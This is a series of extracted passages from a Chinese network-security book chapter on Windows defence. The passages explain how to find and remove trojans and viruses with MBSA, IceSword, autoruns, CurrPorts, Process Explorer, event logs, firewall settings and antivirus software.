    {"text": "在本案例中，网站首页确认被挂马了，通过查看时间可以知道挂马时间是 8 月 25 日左右，因此 可以使用资源管理器的搜索功能初步定位时间为 8 月 24 日至 26 日，搜索在这个时间范围内修改或 者产生的文件，如图 9-6 和图 9-7 所示。"},
    {"text": "图 9-6 搜索被修改的文件 图 9-7 搜索结果 550 第 9 章 Windows 及 Linux 安全防范 2．清除恶意代码 使用“记事本”程序打开代码文件，从中清除恶意代码。"},
    {"text": "图 9-8 对 JS 文件进行挂马 9.2 巧用 MBSA 检查和加固个人计算机 微软基线安全分析器（Microsoft Baseline Security Analyzer，MBSA）是一个简单易用的工具， 它可以帮助中小型企业根据微软的安全性建议确定其安全状态，并根据结果提供具体的修正指南。"},
    {"text": "MBSA 用于检测常见的安全性错误配置和计算机系统遗漏的安全性更新，改善安全性管理流程，构建 于 Windows Update 代理和 Microsoft Update 基础结构之上，因此可确保与其他微软管理产品一致， 这些产品包括 Microsoft Update（MU）、Windows Server Update Services（WSUS）、Systems Management Server（SMS）、System Center Configuration Manager（SCCM）2007 及 Small Business Server（SBS）。"},
    {"text": "目 前微软已经停止对 2.01 版本以下的 MBSA 进行更新，有关 MBSA 2.2 的更多信息，感兴趣的朋友可 以访问 http://technet.microsoft.com/zh-cn/security/cc184923.aspx 了解。"},
    {"text": "下载时一定要注意，对于 x86 版本的系统，下载 MBSASetup-x86-EN.msi 即可。 2．安装 MBSA MBSA 的安装很简单，和正常软件的安装一样，按照提示进行操作即可。"},
    {"text": "3．实验环境 本次实验环境为 64 位 Windows 7 操作系统，安装了一些普通的应用工具，并做过一些简单的加 固，使用第三方工具 360 等修补了系统中的安全漏洞。 9.2.2 使用 MBSA 检测和加固系统 1．运行 MBSA 依次单击“开始”→“程序”→“Microsoft Baseline Security Analyzer 2.3”选项，打开 Microsoft Baseline Security Analyzer 2.3 程序主界面，如图 9-9 所示。"},
    {"text": "z Scan a computer：使用计算机名称或者 IP 地址来检测单台计算机，适用于检测本机或者网络 中的单台计算机。 z Scan multiple computers：使用域名或者 IP 地址范围来检测多台计算机。"},
    {"text": "552 第 9 章 Windows 及 Linux 安全防范 2．设置单机 MBSA 扫描选项 单击“Scan a computer”选项，会出现一个扫描设置窗口，如图 9-10 所示。 如果仅仅针对本机就 不用设置“Computer name”和“IP address”选项了，MBSA 会自动获取本机的计算机名称，本例中扫 描的计算机名称为“WORKGROUP\\SIMEON”。 如果要扫描网络中的计算机，则要在“IP address” 文本框中输入欲扫描的 IP 地址。"},
    {"text": "在 MBSA 扫描选项中，默认会自动命名一个安全扫描报告名称（% D%-%C%(%T%)），即“Security report name”，该报告按照“域名-计算机名称（扫描时间）”进行命 名，用户也可以输入一个自定义的名称来保存报告。"},
    {"text": "z Check for Windows administrative vulnerabilities：检测 Windows 管理方面的漏洞。 z Check for weak passwords：检测弱口令。 z Check for IIS administrative vulnerabilities：检测 IIS 管理方面的漏洞，如果计算机提供 Web 服务，则可以选择。"},
    {"text": "在下载过程中，可能出现 CPU 占有率比较高的情况，这是正常的。 MBSA 将更新下载到本地后，需要对程序和策略进行更新，所以会出现占有率比较高的情况。"},
    {"text": "554 第 9 章 Windows 及 Linux 安全防范 图 9-13 分析扫描结果 5．查看扫描报告 扫描报告是进行安全加固的一个参考，我们先看“Security Update Scan Results”。 在“Security Update Scan Results”中可以看到“What was scanned”、“Result details”和“How to correct this”3 个 链接，如图 9-14 所示，它们分别对应于扫描的对象、扫描结果的详细信息和如何纠正存在的安全隐 患（漏洞）。 图 9-14 查看不同安全扫描结果 单击“What was scanned”链接，会显示 MBSA 扫描了哪些安全选项； 单击“Result details”链 接，可以查看安全更新的检测报告，如图 9-15 所示，会给出按照 ID、Description、Maximum Severity 及 Download 排序的结果。"},
    {"text": "6．修补系统漏洞 在详细结果中，红色盾牌图标表示系统缺少这个补丁，可以单击“Download”按钮下面的图标 下载补丁，然后直接运行该程序进行安装。 详细的安装过程就不介绍了，有些补丁更新后可能会要 555 网络攻防实战研究：漏洞利用与提权 求重启系统。 选择修补系统补丁可以参看“Maximum Severity”，如果是“Critical”则必须进行安装， 否则可以根据实际情况进行修补。"},
    {"text": "在详细结果的下方还可以看到已安装补丁的列表，从该列表中可 以知道 Windows 7 的最新补丁 ID，在 DOS 提示符下运行“systeminfo”命令时，也会显示系统更新 的最高补丁 ID，该 ID 可以作为系统最新补丁的一个参考。"},
    {"text": "图 9-15 查看详细的安全扫描结果 图 9-16 使用 systeminfo 命令检测系统补丁更新情况 注意 对于系统中安装的特殊应用，强烈建议在进行系统更新之前对当前系统进行 Ghost 备份，防止 由于更新不当而导致系统出现意外。 7．纠正扫描结果中出现的安全问题 在扫描结果中，如果出现了“How to correct this”，则表明系统或者应用存在安全问题，需要根 据实际情况进行修补。"},
    {"text": "图 9-17 纠正扫描结果中出现的安全问题 556 第 9 章 Windows 及 Linux 安全防范 8．查看所有的扫描报告 使用 MBSA 对系统进行扫描后，会自动保存扫描报告，在 MBSA 主界面单击“View existing security scan reports”选项即可查看，如图 9-18 所示。 对这些扫描结果还可以根据 IP 地址、扫描时 间、安全评估、计算机名称等进行升/降序排列，双击选中的记录即可查看扫描的详细报告。"},
    {"text": "图 9-18 查看扫描报告 9．对多台计算机进行扫描 可以使用 MBSA 对网络中的多台计算机进行扫描。 在 MBSA 程序主界面中单击“Scan multiple computers”选项，其设置与对单台计算机的扫描设置和过程类似，这里不再赘述。"},
    {"text": "在扫描多台计算机时，必 须是每台计算机的管理员或者域管理员，而且扫描计算机的 135、139、445 端口是开放的，如果没 有开放，可以暂时关闭防火墙，扫描结束后再恢复防火墙。"},
    {"text": "9.2.3 总结与思考 本节详细介绍了如何使用 MBSA 来扫描和修补系统中存在的安全漏洞。 使用 MBSA 可以很容易 地发现系统及所部署应用方面存在的问题或者安全隐患，通过微软提供的修正建议进行修复。 只要 能够看懂 MBSA 上的有关操作和说明，即可进行安全漏洞扫描和加固。 MBSA 是一个好用的安全工 具，美中不足的是目前 MBSA 仅提供德语、法语、英语和日语 4 种语言版本。"},
    {"text": "9.3.1 使用冰刀进行安全检查 “冰刀”的英文名称为“IceSword”，也称为“冰刃”，简称“IS”，是由 PJF 出品的一款系统诊断 和清除利器，其个人博客（http://www.blogcn.com/user17/pjf/index.html）上有关于该产品的一些说明， 557 网络攻防实战研究：漏洞利用与提权 软件下载地址为 http://mail.ustc.edu.cn/~jfpan/download/IceSword122cn.zip。 冰刀适用于 Windows 2000/XP/2003 操作系统，功能十分强大，用于探查系统中的木马后门，并进行相应的处理。 冰刀使 用了大量新颖的内核技术，使得这些后门无处躲藏，是一款检查后门的好工具。 冰刀目前只能在使 用 32 位的 x86 兼容 CPU 的系统中运行，运行冰刀需要管理员权限，其主要功能如下。"},
    {"text": "z 查看进程：查看包括运行进程的文件地址、各种隐藏的进程及优先级，可以轻易杀掉用任务 管理器、Processes xp 等工具杀不掉的进程，还可以用于查看进程的线程、模块信息等。 z 查看端口：类似于 Cport、Active Port 这类工具，显示当前本地程序打开的端口及相应的应 用程序地址、名字，包括使用各种手段隐藏了端口的工具。 z 内核模块：加载到系统内和空间的 PE 模块，一般都是驱动程序（*.sys），可以看到各种已 经加载的驱动，包括一些隐藏的驱动文件。 z 启动组：可以查看 Windows 启动组里面的文件路径、名称及文件等，但无法对启动文件进 行删除。"},
    {"text": "z 查看消息钩子：若在 dll 中使用 SetWindowsHookEx 设置一些全局钩子，系统会将其载入使 用 user32 的进程中，因此它也可作为无进程木马的进程注入手段。"},
    {"text": "z 线程创建和线程终止监视：“监视进线程创建”将冰刀运行期间的进线程创建调用记录在循 环缓冲里，“监视进程终止”记录一个进程被其他进程 Terminate 的情况。"},
    {"text": "单击“端口” 选项，即可查看系统中的应用程序使用的协议、本地地址、远程地址、进程及程序名称等信息，如 图 9-20 所示，其中最关键的是本地地址、远程地址及进程程序名称，通过这些信息可以判断进程是 558"},
    {"text": "在本案例中遇到了一个 BHO 木马程序插件，只知道该 DLL 肯定不是系统自带的，必须将其删除。 在冰刀中单击“文件”模块，然后到 BHO 木马程序的 当前目录下选中需要删除的 DLL 文件，如图 9-21 所示，单击右键，在弹出的快捷菜单中单击“强 制删除”选项，将该文件删除。 559 网络攻防实战研究：漏洞利用与提权 图 9-21 删除 BHO 木马插件 9.3.2 使用 autoruns 进行安全检查 不管木马（后门）程序有多么厉害，都需要一个加载选项，它可能直接以程序文件的形式运行、 插入其他进程中运行、以服务的形式加载、以 ActiveX 控件形式加载。"},
    {"text": "从安全检查的角度，一般是针对运行的进程、启动加载及端口连接进行安 全检查，如果在这 3 个方面发现可疑的或者肯定有问题的程序，则运行或者加载的程序极有可能为 木马程序。"},
    {"text": "autoruns 是 Sysinternals 公司出品的一款小软件，它的主要功能是列出系统自启动的项目，通过 它可以查看加载在启动、ActiveX、Explorer、Logon 及 Services 等中的木马程序，对于一般的木马程 序，可以通过它来禁止自动加载。 autoruns 还可以检查所有已经注册成为驱动的项及所有的驱动程序 （*.sys）的文件数字签名，所有假冒的或者没有通过代码签名的项都会在这里列出来，也就可以很容 易地判断这个驱动是不是有问题了。 Autoruns 的最新版本为 13.7，下载地址为 https://technet. microsoft.com/en-us/sysinternals/bb963902.aspx。 1．运行 autoruns 新版本增加了对 64 位系统的支持（Autoruns64.exe）。 第一次运行 autoruns 时，单击“Agree”按 钮同意协议，autoruns 默认打开“Everything”选项卡，显示自动启动等选项，如图 9-22 所示。 图 9-22 首次运行 autoruns 560 第 9 章 Windows 及 Linux 安全防范 说明 在“Options”菜单中有“Include Empty Locations”、“Verifiy Code Signatures”及“Hide Signed Microsoft Entries”选项。"},
    {"text": "“Verifiy Code Signatures”（验证代码签名）是指验证所有驱动器下的.sys 文 件的签名。 Windows 下的硬件有一个签名功能，目的是保证所有驱动文件都是经过微软测试的，符 合 HAL 兼容性。"},
    {"text": "3．删除 Explorer 选项中的木马程序 一些木马程序喜欢将 DLL 插入 Explorer，通过 autoruns 可以查看木马所安装的 Explorer 组件。 如图 9-24 所示，木马程序 svcr.exe 在 Active Setup 组件中也进行了安装，因此需要删除 svcr.exe。 4．删除 Services 中的木马 单击“Services”标签，查看其中的服务。 如果“Description” （描述）、 “Image Path”及“Publisher” 中无信息，则表示该程序极有可能为木马程序，可以通过查看程序所在的路径来确认。 如果不是 561 网络攻防实战研究：漏洞利用与提权 系统或者用户自己安装的程序，则可以删除该服务选项。 如图 9-25 所示，删除系统中是木马的服务。 图 9-24 查看 Explorer 选项 图 9-25 删除木马服务 说明 在 autoruns 中还有许多有用的功能。 对于检查木马程序来说，主要通过文件是否通过了微软的 数字签名、在公司及描述等项目中有无名称信息及程序的物理路径和名称等信息来判断其是否为木 马程序。"},
    {"text": "562 第 9 章 Windows 及 Linux 安全防范 9.3.3 使用 CurrPorts 进行端口安全检查 CurrPorts 是一个 GUI 模式下的免费网络连接检测工具，它可以列出所有的 TCP/IP 和 UDP 连接 及打开端口的应用程序等信息，还可以直接终止程序，其 32 位和 64 位下载地址如下。 z http://www.nirsoft.net/utils/cports.zip z http://www.nirsoft.net/utils/cports-x64.zip 1．运行 CurrPorts 进行端口安全检查 本案例中使用的是 CurrPorts 1.31 汉化版。"},
    {"text": "运行后，即可看到网络应用程序的进程名称、进程 ID、 协议、本地端口、本地地址、远程端口、远程地址、进程路径等信息，如图 9-26 所示。 图 9-26 查看网络应用程序网络连接情况 技巧 z 单击 CurrPorts 的标题栏可以进行显示排序。 z 选中一个应用程序后双击，可以查看其详细信息，如图 9-27 所示。 图 9-27 查看应用程序的详细信息 563 网络攻防实战研究：漏洞利用与提权 2．对可疑程序进行检测 对于系统中被怀疑为木马的应用程序，可以选中它，然后单击右键，在弹出的快捷菜单中单击 “关闭选定的 TCP 连接”选项来终止该应用程序，然后观察该程序是否会打开新的端口，如果还会 打开，即可结合应用程序的路径、名称等信息进行判断。 还可以使用“鼠标+Ctrl”或者“鼠标+Shift” 的方式一次选中多个网络连接，单击右键，在弹出的快捷菜单中单击“结束选定端口的进程”选项， 一次结束多个网络连接或关闭多余的网络连接，以便进行可疑程序的排查。 3．保存网络连接情况 在菜单中选择“查看”→“Html 报告-所有项目”选项，CurrPorts 会自动生成 TCP/UDP 端口列 表报告，如图 9-28 所示。 图 9-28 生成 TCP/UDP 端口列表报告 4．使用 procexp.exe 杀死可疑进程 对 CurrPorts 程序检测出的可疑程序或者木马程序，可以通过 procexp.exe 软件再次进行判断。 如 果确认为木马程序，则直接杀死进程树来终止与木马程序有关的所有进程，然后通过 autoruns 程序 对服务、自启动等选项进行检查，删除木马程序的自动加载选项，最后到到木马所在路径将木马程 序直接删除。"},
    {"text": "9.3.4 使用 FPort 与 MPort 进行端口安全检查 FPort 是 FoundStone 出品的一个用来列出系统中所有打开的 TCP/IP 和 UDP 端口，以及它们所 对应的应用程序的完整路径、PID 标识、进程名称等信息的软件。"},
    {"text": "mport.exe 和 fport.exe 实现的功能差不多，运行 FPort 需要管理员权限，而 MPort 可以在 Windows NT、Windows 2000、Windows XP 等操作系统中运行。 MPort 无参数，FPort 可以带参数，其命令格式为“Fport /参数”，其参数含义如下。"},
    {"text": "1．使用 MPort 查看系统打开的端口和网络连接情况 进入 DOS 提示符，到 MPort 的当前路径下直接输入“mport”，即可列出系统中的网络协议、IP 地址、端口、连接地址、状态及进程等信息，如图 9-29 所示。"},
    {"text": "2．使用 FPort 查看系统网络连接和端口情况 操作系统自带的 netstat.exe 程序只能查看应用程序打开的端口及对外连接情况，不能查看其对应 端口和连接的应用程序名称及路径。 输入“fport /ap”命令，按照应用程序路径查看端口开放情况， 如图 9-30 所示。 图 9-29 使用 MPort 查看端口和连接 图 9-30 使用 FPort 查看端口情况 说明 使用 FPort 必须具有管理员权限。 FPort 可以查看程序的具体路径，通过路径及名称可以判断程 序是正常程序还是木马程序打开的端口。"},
    {"text": "在一些特殊情况下，例如系统或者木 马程序禁止使用 GUI 程序时，就需要使用 fport、mport、pskill、pulist 等 DOS 下的命令来查看网络 565 网络攻防实战研究：漏洞利用与提权 连接情况、端口开放情况、应用程序路径、PID 等，然后使用 pskill 命令结束进程。"},
    {"text": "它不仅可以监视、暂停、终止进程，还可以查看进程调用的 DLL 文件，遇到 不熟悉的进程可以直接通过 Google 或百度等进行搜索。 除此之外，它可以查看 CPU 及内存使用情 况，对系统运行的进程进行调试等。 Process Explorer 与 Process Viewer、Norton Process Viewer、 IceSword、Windows 进程管理器并称“进程监视五大至尊”，是预防病毒、查杀木马的好帮手。 Process Explorer 的介绍及软件下载地址，可以访问 http://technet.microsoft.com/zh-cn/sysinternals/bb896653 (en-us).aspx 获取。 在网络攻防过程中，一般使用 Process Explorer 来清理木马程序和加固系统。 除此之外，可以使 用 Process Explorer 来删除正在使用的或者无法删除的文件。 1．运行 Process Explorer 查看系统正在运行的进程 通过 3389 端口登录服务器，并将 Process Explorer 程序上传到磁盘中，然后直接运行 Process Explorer，如图 9-31 所示，系统中所有正在运行的程序会在 Process Explorer 的窗口中显示出来。 图 9-31 查看系统中正在运行的进程 2．查看可疑进程的属性及相关信息 选中“notepad.exe”进程，单击右键并选择“Properties”（属性）选项，在弹出的窗口中可以查 看安全、性能、线程等信息。"},
    {"text": "说明 查看可疑程序的物理路径和名称，然后对照正常程序的名称、大小及路径等来判断可疑程序是 否不一样。 如果与正常程度大小、名称及路径不一样，则说明该程序有问题，极有可能是木马程序 或者被注入了木马。"},
    {"text": "566 第 9 章 Windows 及 Linux 安全防范 图 9-32 查看可疑进程的属性 3．“杀死”可疑进程 在本案例中，没有其他用户登录，但系统中同时开启了多个 notepad.exe 进程，这极有可能是木 马程序选择 notepad.exe 作为保护进程的插入进程。 选择“杀死进程树”选项，将所有的 notepad.exe 进程“杀死”。 “杀死”进程后，在“Process Explorer”中刷新进程，检查后发现无可疑进程。"},
    {"text": "说明 在 Process Explorer 中提供了“杀死进程”（Kill Process）和“杀死进程树”（Kill Process Tree） 两种“杀死”进程的方法。 “杀死进程”仅“杀死”当前正在运行的被选择进程，而“杀死进程树” 则会“杀死”与该进程相关的所有进程。 一般情况下，选择“杀死进程”，如果此时木马还没有被“杀 死”，则可以选择“杀死进程树”。"},
    {"text": "4．删除可疑的可执行程序 中止可疑进程后，到系统 system32 及 Windows 目录下查看可执行程序，删除其中可疑的可执行 程序。 注意 在删除可疑的可执行程序时，最好先做一个备份，将可疑的可执行程序备份到磁盘的其他目录 下，以便在错删后恢复。 5．对整个计算机进行杀毒 进行以上检查后，如果计算机中安装了杀毒软件，则可以在更新病毒库后对计算机进行全盘杀 毒。 一方面，使用杀毒软件清除前人留在系统中的木马或者后门；"},
    {"text": "567 网络攻防实战研究：漏洞利用与提权 9.4 巧用事件查看器维护服务器安全 事件查看器相当于操作系统的保健医生，一些“顽疾”的蛛丝马迹都会在事件查看器中呈现。"},
    {"text": "一个合格的系统管理员会定期查看日志，检查是否存在非法登录、系统是否非正常关机、是否存在 程序执行错误等，通过查看事件属性判定错误产生的来源和解决方法，使操作系统和应用程序正常 工作。"},
    {"text": "9.4.1 相关知识 1．事件查看器 事件查看器是 Windows 操作系统中的工具，相当于一本厚厚的系统日志，其中包括关于硬件、 软件和系统问题的信息，也用于监视 Windows 操作系统中的安全事件。"},
    {"text": "z 单击“开始”→“设置”→“控制面板”→“管理工具”→“事件查看器”选项。 z 在“运行”文本框中输入“%SystemRoot%\\system32\\eventvwr.msc /s”。 z 在“运行”文本框中直接输入“eventvwr”或者“eventvwr.msc”。"},
    {"text": "（1）应用程序日志 包含由应用程序或系统程序记录的事件，主要记录程序运行方面的事件，例如数据库程序可以 在应用程序日志中记录文件错误，程序开发人员可以自行决定监视哪些事件。 如果某个应用程序出 现崩溃的情况，可以从程序事件日志中找到相应的记录。"},
    {"text": "在默认设置下，安全性日 志是关闭的，管理员可以使用组策略来启动安全性日志，或者在注册表中设置审核策略，以便当安 全性日志存储空间用完后使系统停止响应。"},
    {"text": "如果计算机被 配置为域控制器，还将包括目录服务日志、文件复制服务日志； 如果计算机被配置为域名系统（DNS） 服务器，还将记录 DNS 服务器日志。"},
    {"text": "在该窗口中单击“系统” 选项，如图 9-33 所示，单击窗口右边的类型进行排序，可以看到类型中有警告、错误等多条信息。 图 9-33 打开并查看系统日志 2．查看系统错误记录详细信息 选择“错误”记录，双击即可查看事件的属性。"},
    {"text": "569 网络攻防实战研究：漏洞利用与提权 图 9-34 查看系统错误事件属性 3．根据提示修补系统漏洞 根据描述信息，直接打开注册表编辑器，找到键值“HKEY_LOCAL_MACHINE\\SYSTEM\\ CurrentControlSet\\Control\\Lsa\\TurnOffAnonymous”。"},
    {"text": "图 9-35 修复系统中存在的安全隐患 说明 如果在事件属性中未给出解决方案，除了在搜索引擎中寻找解决方法外，还可以对错误信息进 行追踪，以找到合适的解决方法，一般有如下两种方式。"},
    {"text": "登录网站后，单击“Search Events”超链接，将出现事件搜索页面。 根据页面提示，输入“Event ID”和“Event Source”，并单击“Search”按钮，Eventid.net 的系统会找到所有相关的资源及解决方案。"},
    {"text": "然后，依次查看审核成功的登录记录，如果发现该 IP 地址登录 成功，还需要对系统进行彻底的安全检查，包括修改登录密码、查看系统是否被攻击者留下了后门。"},
    {"text": "在本例中，主要事件就是 IP 地址为 211.99.226.9 的服务器正在进行密码扫描，根据事件属性中提供 的策略进行设置后，即可排除该匿名枚举的安全隐患。"},
    {"text": "571 网络攻防实战研究：漏洞利用与提权 9.5.1 使用系统自带的防火墙进行安全防护 在默认状态下，Windows 防火墙在所有的网卡界面均为开启状态。"},
    {"text": "当系统打开防火墙后，如果设 置得当，可以从一定程度上加强系统的安全性。 1．启用防火墙 单击“开始”→“设置”→“控制面板”选项，双击“Windows 防火墙”图标，打开“Windows 防火墙”窗口，如图 9-37 所示，选中“启用（推荐）”单选按钮。"},
    {"text": "不允许例外选项的 Windows 防火墙适用于连接在公共网络上个人计算机，它拦截了绝大部分应 用程序，但仍然可以浏览网页，发送和接收电子邮件，或者使用即使通信软件。"},
    {"text": "2．使用例外选项 在“常规”选项卡中不选中“不允许例外”复选框，然后单击“例外”标签，如图 9-38 所示， 在“程序和服务”中会显示通过 Windows 防火墙的程序和服务，选中表示通过防火墙，单击“添加 程序”按钮将添加允许通过防火墙的程序。"},
    {"text": "图 9-37 配置 Windows 防火墙 图 9-38 使用防火墙的例外规则 说明 z 选中名称下的程序或者服务选项后，单击“编辑”按钮可以更改应用程序的访问范围。"},
    {"text": "图 9-41 设置防火墙日志 4．使用命令行工具对防火墙进行配置 Windows 防火墙的配置和状态信息可以通过命令行 Netsh.exe 获得。 可以使用“netsh firewall” 命令获取防火墙信息和修改防火墙设定。 在命令提示符下输入“netsh firewall”命令后会显示其详细 参数，具体如下。"},
    {"text": "z reset：将防火墙配置重置为默认值。 z set：设置防火墙配置。 z show：显示防火墙配置及安全警告。 说明 z 使用“netsh firewall show allowedprogram”命令可以查看 Windows 防火墙允许的应用程序。 z 使用“netsh firewall show”命令可以查看有关防火墙的帮助信息。 z 使用“netsh firewall add allowedprogram”命令可以添加防火墙允许的程序配置。 例如， “add allowedprogram C:\\MyApp\\MyApp.exe MyApp ENABLE”表示允许“C:\\MyApp\\MyApp.exe” 程序通过防火墙。 z 使用“netsh firewall show allowedprogram”命令可以将木马程序添加到允许 Windows 防火墙 通过的列表中，因此可以通过查看“例外”中的程序来进行安全检查。"},
    {"text": "9.5.2 利用 NOD32 进行系统安全检查 不管是专业人士还是非专业人士，在对系统进行安全检查时较常采用的方式就是使用杀毒软件查 杀病毒，通过防火墙、网络连接、程序访问等来判断系统中是否存在木马程序。 本节就对杀毒软件及 防火墙的一些使用经验和技巧进行介绍。 掌握这些方法，可以大大降低被攻击或者感染木马的几率。 1．安装杀毒软件 杀毒软件的安装与普通软件的安装过程相似，在此不再赘述。 在安装杀毒软件前，应尽量确保系统是安全的，或者说是“干净”的。 杀毒软件安装完毕，一 般会要求重启计算机（有的杀毒软件需要在重启计算机后才能进行后续操作）。 2．升级病毒库 重启计算机后单击“开始”→“程序”→“Eset”→“NOD32 控制中心”选项，然后单击控制 中心主界面中的“升级”按钮，打开“升级”窗口。"},
    {"text": "在杀毒前要确保病毒库是最新的，这样才能查杀一些最新出现的木马病毒。 升级病毒库有自动 和手动两种方式，如果要自动升级，则需要在杀毒软件安装完成后进行设置。"},
    {"text": "不同的杀毒软件，其自动升 级设置可能有所不同。 3．查杀病毒 查杀病毒有两种方式。 一种方式是杀毒软件自动监控，发现病毒后立即进行相应的处理； 另一 种方式是手工选择文件或者磁盘进行杀毒。 在本案例中选中 C 盘，然后单击右键，在弹出的快捷菜 单中选择“NOD32 反病毒系统”选项，杀毒软件就会开始杀毒，如图 9-44 所示。 杀毒软件查出病毒后会给出相应的提示。 在一般情况下，如果出现病毒，会以红色字体显示提 示信息。 杀毒软件在杀毒结束后会给出查杀结果。 一些杀毒软件在查出病毒或者可疑软件后，会提 574 第 9 章 Windows 及 Linux 安全防范 示用户进行病毒样本上报，这时可以选择上报或者不上报。 对病毒一定要谨慎处理，如果发现木马 病毒，要立即断开网络，进行相应处理后才能重新连结网络。 4．查看监控日志 目前绝大多数公司都具备上网条件，平时的查杀病毒只能定点查毒。"},
    {"text": "杀毒软件会自动对病毒进行监控及记录。 在 NOD32 的控制中心单击“监控”选项，打开“实时 监控日志”窗口，如图 9-45 所示，在该窗口中会显示所有的查杀日志。 图 9-42 升级病毒库 图 9-43 设置杀毒软件为自动升级 图 9-44 对文件进行杀毒 图 9-45 查看监控日志 注意 在进行安全检查时，一定要注意杀毒软件的实时监控是否打开，如果以前打开过，而在进行安 全检查时发现实时监控被关闭了，就说明系统极有可能被入侵了，需要进行全面的安全检查。 如果经常访问网络，则需要定期对系统进行杀毒，以防止系统感染网页木马。 9.6 手工清除病毒 对于感染了病毒的操作系统，一般采取两种方式：一种是重装系统；"},
    {"text": "575 网络攻防实战研究：漏洞利用与提权 9.6.1 故障现象 我们看一下本例的故障表现：计算机启动后，运行速度非常慢，打开任何程序都需要三四分钟；"},
    {"text": "虽然重装系统是最为安全和便捷的方 法，但由于很多业务系统都是公司直接配发的，重装系统后恢复业务系统比较困难，所以考虑实际 情况，只能手工杀毒。 9.6.2 清除部分病毒 1．制作干净的病毒检测和清除工具盘 说是手工清除病毒，其实还是借助了一些工具。 虽然手工清除也是可以的，不过既然有好用的 工具软件，为什么要舍近求远呢？ 首先准备一个可设置为可读和可写的 U 盘，如果没有这种 U 盘， 可以将工具软件刻录到光盘中。 在本次病毒清理中，计算机是由公司统一配发的，没有安装光驱， 手头也没有光驱可用，因此只能使用 U 盘。"},
    {"text": "如果出 现这种情况，一种方法就是恢复注册表，另一种方法就是通过 command 命令加载可执行程序进行清 理，包括执行一些 DOS 命令。 576 第 9 章 Windows 及 Linux 安全防范 病毒一般会禁用 CMD、注册表等可执行程序，这时就需要运行 command 命令来恢复系统中的 注册表等。 3．使用 autoruns 清理病毒 （1）清除 Scheduled Tasks 中的木马加载项 如图 9-46 所示，在 autoruns 主窗口单击“Scheduled Tasks”标签页，在其中可以看到“At1.job” 选项，它的描述是“Microsoft Corporation”，可执行文件路径为 C:\\WINDOWS\\system32\\winhelp.exe， 一看就知道该加载选项是病毒，选中并直接删除该选项即可。 图 9-46 使用 autoruns 清除 Scheduled Tasks 中的木马加载项 说明 了解系统可执行文件的读者知道，winhelp 文件主要存储在 C:\\WINDOWS 和 C:\\WINDOWS\\ system32\\dllcache 目录下，C:\\WINDOWS\\system32 目录下绝对不会有 winhelp.exe 文件。"},
    {"text": "根据实际经验判断，winhelp 为 U 盘病毒，因此必须 将其清除。 图 9-47 正常的 winhelp 文件所在正确路径和文件大小 577 网络攻防实战研究：漏洞利用与提权 （2）安装一键 Ghost 软件 很多读者可能会问，为什么要在这一步安装一键 Ghost 软件？"},
    {"text": "因此，在 安装软件后，一定要及时和尽可能早地安装 Ghost 备份和还原软件。 安装完毕，先进行系统备份， 再进行病毒清理，以防清理病毒失败，或者在出现意外情况时可以及时恢复系统。 （3）对系统进行安全备份 安装 Ghost 软件后，对系统进行备份。 做备份一定要在系统重启且可以正常运行的情况下，否 则就失去了做备份的意义。 关于 Ghost 一键备份的使用，在此就不赘述了。"},
    {"text": "删除可疑的服务和由病毒加载的服务。 建议没有病毒清理经验的读者先在正常的计算机上熟悉 和了解正常的服务和程序，以免误删！ 在清理服务时，虽然要本着“实行宁可错杀一千，不可放过 一个”的原则，但还是建议对服务文件所在路径进行验证。 如果具备上网条件，可以通过搜索引擎 进行搜索，以验证该服务是否是正常文件的服务。 图 9-48 清除可疑服务和病毒加载的服务选项 （5）清除可疑的和病毒的驱动 在 autoruns 中单击“Drivers”选项卡，如图 9-49 所示，可以看到 naivaf5x.sys 和 mvstdi5x.sys 驱 动无任何描述和发行信息，是重点怀疑对象，可在选中后直接将其删除。"},
    {"text": "578 第 9 章 Windows 及 Linux 安全防范 图 9-49 清除可疑服务和病毒驱动程序 （6）删除 U 盘病毒的自保护病毒程序 如图 9-50 所示，在 autoruns 的“Everything”选项卡中可以看到启动项目中的“C:\\WINDOWS\\ system32\\regsvr.exe”选项，正常系统中的文件应该是“C:\\WINDOWS\\system32\\regsvr32.exe”，而不 是“regsvr.exe”，病毒就是借助文件名称来混淆正常文件的。 在清理病毒过程中发现，“regsvr.exe” 和“winhelp.exe”是互相启动的，因此需要清除所有与这两个文件有关的地方的文件。 图 9-50 删除 U 盘病毒的自保护病毒程序 579 网络攻防实战研究：漏洞利用与提权 （7）删除随机 ShellExecuteHooks 下的病毒文件 在“资源管理器”中双击图标，运行程序或打开文件，都会激活其中的项目，“ShellExecute Hooks”是木马病毒最喜欢的地方之一。"},
    {"text": "据笔者了解，以前某些版本的瑞星杀毒软件就不会查杀这个 位置。 如图 9-51 所示，可以看到很多随机生成的病毒文件，笔者大致数了一下，有 200 多个，选中 后将其逐一删除。"},
    {"text": "图 9-51 删除随机 ShellExecuteHooks 下的病毒文件 （8）清除 Logon 中的病毒加载选项 单击“Logon”选项卡，同样发现了 C:\\WINDOWS\\system32\\regsvr32.exe，选中并删除它，如 图 9-52 所示。 图 9-52 清除 Logon 选项卡中的病毒加载选项 580 第 9 章 Windows 及 Linux 安全防范 4．清除物理位置的病毒文件 前面我们清除了系统启动、Scheduled Tasks、ShellExecuteHooks、Drivers、Services 下面的可疑 程序和病毒。"},
    {"text": "图 9-53 删除实际的病毒文件 5．卸载无关软件 如图 9-54 所示，打开 360 安全卫士的软件管理界面，然后单击“软件卸载”按钮，卸载一些与 业务系统无关的程序。 在该计算机上安装了杀毒软件，但该杀毒软件根本没有起到应有的杀毒和防 范作用，反而占用了系统资源，建议将其卸载。 图 9-54 卸载无关的应用程序 581 网络攻防实战研究：漏洞利用与提权 说明 在本次病毒清理过程中，尝试使用“控制面板”中的“添加/删除程序”功能来卸载一些无用程序， 无奈速度太慢，且容易出问题，因此，使用第三方软件提供的卸载软件功能也不失为一种卸载软件 的良方！ 6．简单加固系统 在每一个盘符下面新建一个“autorun.inf”文件夹，在“运行”文本框中输入“gpedit.msc”，打开 “组策略编辑器”窗口，依次单击“用户配置”→“系统”→“关闭自动播放”选项，打开“关闭 自动播放 属性”设置窗口。 在其中选中“已启用”单选按钮，在“关闭自动播放”下拉列表中选 择“所有驱动器”选项，如图 9-55 所示，单击“确定”按钮使设置生效，防止光盘和驱动器自动 启动和播放。 图 9-55 禁止驱动器自动播放 7．重启系统、验证并进行系统备份 至此，我们已经对系统中的部分病毒进行了清理，同时卸载了系统中的一些无关应用程序。 重 启系统后，看看系统是否能够正常使用。 如果一切正常，就重新对系统进行备份。"},
    {"text": "如图 9-56 所示，在系统的 COM 文件夹下有一个 mfc42.dll 文件夹，很明显，这个文件夹有问题，既无法浏览，也无法打开，使用正 常的文件删除步骤根本无法删除，即使使用 WinRAR 压缩后也无法删除。"},
